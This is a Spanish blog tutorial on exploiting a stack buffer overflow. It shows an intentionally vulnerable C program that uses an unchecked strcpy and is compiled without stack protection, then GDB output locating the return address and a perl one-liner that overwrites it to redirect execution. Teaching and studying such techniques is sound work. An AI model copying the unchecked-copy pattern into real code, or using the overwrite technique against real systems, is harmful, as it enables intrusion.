Exploitation: Stack Overflow I

El desbordamiento de pila o stack overflow, es un caso de buffer overflow que se produce, como es obvio, en el segmento de memoria reservado a la pila. Este tipo de ataques son antiguos y la mayoría de compiladores y sistemas operativos implementan medidas que dificultan o impiden la explotación de este tipo de vulnerabilidades. En el caso de GCC, implementa una tecnología llamada SSP (Stack Smashing Protection). Básicamente coloca un canary en la pila y comprueba que ese “número mágico” sigue ahí antes de realizar operaciones críticas sobre la pila, como ejecutar un ret. Las implementaciones más modernas protegen también el EBP y reorganizan las variables en la pila para evitar que los buffers (arrays) se desborden sobre otras variables de la función. En Ubuntu (desde 8.04) está habilitado por defecto, sin embargo en Debian no lo está. Es posible indicarle a GCC que fuerce su utilización con el flag -fstack-protector y que lo deshabilite (como he hecho yo para estos ejemplos) con -fno-stack-protector. Más adelante, con todos los conceptos básicos asimilados, echaremos un ojo más calmado a las tecnologías de protección y veremos cuales y cómo se pueden evitar.

Dicho esto, el código de ejemplo es el siguiente:


#include <string.h>
#include <stdio.h>
#include <stdlib.h>

void sayhi(char* name){
 char name_buffer[20];
 strcpy(name_buffer,name);
 printf("Bienvenido al sistema, %s\n",name);
}

int main(int argc, char* argv[]){

 if (argc > 1)
 sayhi(argv[1]);
 else{
 exit(0);
 }
 return 0;
}

Es un código muy sencillo, pero la idea es que veamos como explotar un stack overflow para obtener, por ejemplo, una shell, y que tengais la capcidad de extrapolarlo a programas más complejos que no verifican correctamente la entrada del usuario. Como se lee en el código, el nombre del usuario está pensado para ocupar 20 caracteres. ¿Qué pasará si en vez de 20, metemos alguno más? Los que recordéis los posts anteriores, estaréis pensando -acertadamente-, que bajo las variables de la pila (como  name_buffer) se encuentra el EBP y la dirección de retorno. Nuestro objetivo, por tanto, será sobreescribir la dirección de retorno con un valor de memoria donde se encuentre el código que queremos ejecutar.

En primer lugar, vamos a hacernos una idea de qué está pasando. Lanzamos el programa con GDB y tratamos de identificar la posición de nuestra variable, la dirección de retorno, etc.


adrian@ubuntu:~/exploiting$ gdb -q a.out
Reading symbols from /home/adrian/exploiting/a.out...done.
(gdb) list
4
5    void sayhi(char* name){
6        char name_buffer[20];
7        strcpy(name_buffer,name);
8        printf("Bienvenido al sistema, %s\n",name);
9    }
10
11    int main(int argc, char* argv[]){
12
13        if (argc > 1)
(gdb) br 8
Breakpoint 1 at 0x804846c: file stack_overflow.c, line 8.

(gdb) disas main
 Dump of assembler code for function main:
 0x08048482 <main+0>:    push   %ebp
 0x08048483 <main+1>:    mov    %esp,%ebp
 0x08048485 <main+3>:    and    $0xfffffff0,%esp
 0x08048488 <main+6>:    sub    $0x10,%esp
 0x0804848b <main+9>:    cmpl   $0x1,0x8(%ebp)
 0x0804848f <main+13>:    jle    0x80484a8 <main+38>
 0x08048491 <main+15>:    mov    0xc(%ebp),%eax
 0x08048494 <main+18>:    add    $0x4,%eax
 0x08048497 <main+21>:    mov    (%eax),%eax
 0x08048499 <main+23>:    mov    %eax,(%esp)
 0x0804849c <main+26>:    call   0x8048454 <sayhi>
 0x080484a1 <main+31>:    mov    $0x0,%eax
 0x080484a6 <main+36>:    leave
 0x080484a7 <main+37>:    ret
 0x080484a8 <main+38>:    movl   $0x0,(%esp)
 0x080484af <main+45>:    call   0x8048384 <exit@plt>
 End of assembler dump.
(gdb) run AABB
Starting program: /home/adrian/exploiting/a.out AABB

Breakpoint 1, sayhi (name=0xbffff6b1 "AABB") at stack_overflow.c:8
8        printf("Bienvenido al sistema, %s\n",name);
(gdb) x/16wx $sp
0xbffff430:    0xbffff44c    0xbffff6b1    0xbffff448    0x00517955
0xbffff440:    0x00641ff4    0x08049ff4    0xbffff458    0x42424141
0xbffff450:    0x00abad00    0x08049ff4    0xbffff488    0x080484e9
0xbffff460:    0x00642304    0x00641ff4    0xbffff488    0x080484a1

Bueno, viendo el desensamblado del programa, sabemos que la función sayhi está en 0x8048454, y que la dirección de retorno que se apilará cuando se ejecute el call de main+26 será 0x080484a1 (es decir, main+31). Si ahora lanzamos el programa con el nombre “AABB” (así es fácil de encontrar en la pila) y lo paramos dentro de sayhi justo antes de ejecutar printf, podemos ver el estado de la pila en ese momento. Localizamos el comienzo de name_buffer en 0xbffff44c. Además, vemos nuestra dirección de retorno (0x080484a1) en la posición 0xbffff46c, justo después del SFP (antiguo EBP).


(gdb) p 0xbffff46c - 0xbffff44c
$2 = 32

Por tanto, necesitamos 32 bytes para que, desbordando name_buffer, alcancemos la dirección de retorno, y cuatro más para rellenar esa dirección con el valor que queramos. Vamos a ver qué pasa si yo ejecuto el programa con el siguiente argumento:


adrian@ubuntu:~/exploiting$ ./a.out $(perl -e 'printf "\x54\x84\x04\x08"x9')
Bienvenido al sistema,
Bienvenido al sistema, U��WV1�S�n�
Segmentation fault

¿Qué hemos hecho aquí? Hemos localizado la dirección de inicio de la función sayhi (0x08048454) y la hemos repetido 9 veces, de tal forma que la última repetición ocupe la posición de memoria de la dirección de retorno. Para que quede claro, la dirección son 4 bytes, que si la repetimos 8 veces son 32 bytes (el valor que habíamos obtenido más arriba) y la novena vez pisa exactamente la dirección de retorno. La dirección está invertida byte a byte debido a que el x86 es little endian como comentamos en la entrada anterior. El programa se ha comportado como esperábamos, al terminar de ejecutar la función sayhi, ha desapilado la dirección de retorno que le hemos colocado (otra vez el inicio de sayhi) y la ha vuelto a ejecutar. Posteriormente ha utilizado el marco de pila que había debajo -probablemente con información de variables de main o padding- para retornar de sayhi, lo que le ha llevado a tratar de acceder a una posición de memoria para la que no tiene permiso y el sistema ha abortado la ejecución con un fallo de segmentación.

Esto no resulta demasiado útil, ya que nos permite ejecutar código que pertenezca al programa. En algún caso en el que existan funciones del programa restringidas esto podría ser útil. Por ejemplo, en un juego, la función ganar() podría ser ejecutada de este modo aunque no hayamos ganado. O la función login_successful, o la que se nos ocurriera. Sin embargo, lo realmente interesante sería lograr la ejecución del código que nosotros queramos, sin limitarnos al contenido del programa. Bien, esto también es posible.

Para no alargar esta entrada demasiado, en la siguiente mostraremos dos métodos para hacer esto posible, utilizando bash y variables de entorno para almacenar nuestro shellcode e introduciendo nuestro shellcode en el propio buffer si el tamaño es suficiente.

Anuncios
Tagged with: , , ,
Publicado en exploiting, hacking
4 comments on “Exploitation: Stack Overflow I
  1. Rigolox dice:

    Hola Adrián,

    tanto en esta entrada como en la anterior me está despistando una cosa.

    La dirección de retorno: 0x080484a1 está en 0xbffff460, en cambio tu indicas que está en: 0xbffff46c

    Por qué este cambio en el byte menos significativo?

    Por cierto, donde puedo encontrar un manual/libro/howto sobre que significa cada instrucción en ensamblador? Lo tengo muy olvidado y algunas “sentencias” no me suenan.

    Muchas gracias

  2. Rigolox dice:

    Ya está comprendido, no había caido en que cada palabra eran 4 bytes y había que contar las posiciones de esas palabras, falta de práctica me imagino.

    Al ser la dirección 0xbffff460 si contamos 12 posiciones más alla a partir de esta nos da la c que es 12 en hexadecimal.

    Miraré la documentación que me indicas.

    Muchas gracias

    NaCl u2

  3. lodr dice:

    Joer, antes lo comento, antes lo leo (pero en otro post, conste). No estaría demás que lo enlazaras en un Documentos de Interés o algo así.

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

Archive
A %d blogueros les gusta esto: